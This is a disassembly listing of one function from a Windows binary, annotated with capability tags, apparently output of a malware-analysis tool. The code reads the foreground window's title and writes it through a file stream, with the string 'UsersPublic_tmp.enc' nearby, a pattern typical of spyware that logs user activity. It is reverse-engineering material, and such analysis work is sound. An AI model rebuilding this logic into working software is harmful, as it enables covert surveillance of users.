Function at 0x140007180
Capabilities:
Get common file path
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x910]
sub rsp, 0xa10
mov rax, qword [0x140097240]
xor rax, rsp
mov qword [rbp + 0x900], rax
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x100]
call fcn.140056300
mov edx, 0x104
lea rcx, [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rsp + 0x50], xmm0
movdqu xmmword [rsp + 0x60], xmm1
cmp eax, 3
lea rdx, [rbp + 0x100]
jae 0x1400071fa
lea rdx, [0x140087818]
mov ebx, 3
mov r8d, ebx
lea rcx, [rsp + 0x50]
call fcn.14000aff0
lea rax, str.UsersPublic_tmp.enc
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 0x16
lea rax, [rsp + 0x50]
cmp qword [rsp + 0x68], 7
cmova rax, qword [rsp + 0x50]
mov qword [rbp - 0x80], rax
mov rax, qword [rsp + 0x60]
mov qword [rbp - 0x78], rax
movups xmm0, xmmword [rbp - 0x80]
movups xmmword [rbp - 0x68], xmm0
movabs rax, 0xc000000000000000
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x80], 1
lea rax, [rbp - 0x70]
mov qword [rbp - 0x78], rax
movaps xmm0, xmmword [rbp - 0x80]
movdqa xmmword [rbp - 0x80], xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rbp - 0x80]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x38]
call fcn.14000bf00
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x1400072cd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400072c8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000769c
call fcn.14002c56c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rax
call qword [sym.imp.USER32.dll_GetForegroundWindow]
test rax, rax
jne 0x1400072ee
lea rdx, [0x140087800]
jmp 0x140007320
mov r8d, 0x400
lea rdx, [rbp + 0x100]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
test eax, eax
jg 0x140007316
lea rdx, str.Desktop
mov ebx, 7
jmp 0x140007320
lea rdx, [rbp + 0x100]
movsxd rbx, eax
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rsp + 0x50], xmm0
movdqu xmmword [rsp + 0x60], xmm1
mov r8, rbx
lea rcx, [rsp + 0x50]
call fcn.14000aff0
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x70]
call fcn.140006f60
mov rsi, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140007362
mov rdi, qword [rax]
add rdi, qword [rax + 0x10]
mov rsi, qword [rax]
jmp 0x140007369
mov rdi, qword [rax + 0x10]
add rdi, rax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], 0
sub rdi, rsi
je 0x1400073f1
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
ja 0x1400076a2
cmp rdi, 0x1000
jb 0x1400073c8
lea rcx, [rdi + 0x27]
cmp rcx, rdi
jbe 0x1400076a8
call fcn.14002c530
mov rcx, rax
test rax, rax
je 0x1400076ae
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400073d0
mov rcx, rdi
call fcn.14002c530
mov qword [rsp + 0x30], rax
lea rbx, [rax + rdi]
mov qword [rsp + 0x40], rbx
mov r8, rdi
mov rdx, rsi
mov rcx, rax
call fcn.140055c60
mov qword [rsp + 0x38], rbx
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.1400029c0
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x14000744d
mov rdx, qword [rsp + 0x40]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007436
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400076ae
call fcn.14002c56c
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140007488
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007483
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400076ae
call fcn.14002c56c
movdqa xmm0, xmmword [0x14008aad0]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x1400074db
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400074d6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400076ae
call fcn.14002c56c
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp - 0x10]
call fcn.140056300
lea rdx, [rbp - 0x38]
cmp qword [rbp - 0x20], 7
cmova rdx, qword [rbp - 0x38]
lea rcx, [rbp - 0x10]
call fcn.140008f00
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x10], rbx
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x14], edx
cmp qword [rbp + 0x78], 0
je 0x140007584
mov r8, qword [rbp - 0x48]
mov rdx, qword [rbp - 0x50]
sub r8, rdx
lea rcx, [rbp - 0x10]
call fcn.140008640
lea rcx, [rbp - 8]
call fcn.140008e00
test rax, rax
jne 0x140007584
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
mov eax, 6
mov edx, 2
cmp qword [rbp + rcx + 0x38], 0
cmovne eax, edx
or eax, dword [rbp + rcx]
and eax, 0x17
mov dword [rbp + rcx], eax
mov edx, dword [rbp + rcx + 4]
and edx, eax
jne 0x1400076b4
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x10], rbx
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x14], edx
lea rcx, [rbp - 8]
call fcn.140008390
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x10], rax
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx - 0x14], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x98], rax
lea rcx, [rbp + 0x98]
call fcn.14002b730
nop
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x140007630
mov rdx, qword [rbp - 0x40]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000761b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007696
call fcn.14002c56c
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 7
jbe 0x14000766c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007667
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007696
call fcn.14002c56c
xor eax, eax
mov rcx, qword [rbp + 0x900]
xor rcx, rsp
call fcn.14002c500
lea r11, [rsp + 0xa10]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
call fcn.14003acc4
int3
call fcn.14003acc4
int3
call fcn.140004070
int3
call fcn.140001490
int3
call fcn.14003acc4
int3
test dl, 4
je 0x1400076c2
lea rbx, str.ios_base::badbit_set
jmp 0x1400076d7
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x30]
call fcn.140004ab0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.1400054d0
lea rdx, [0x1400957b8]
lea rcx, [rsp + 0x50]
call fcn.14002e618
int3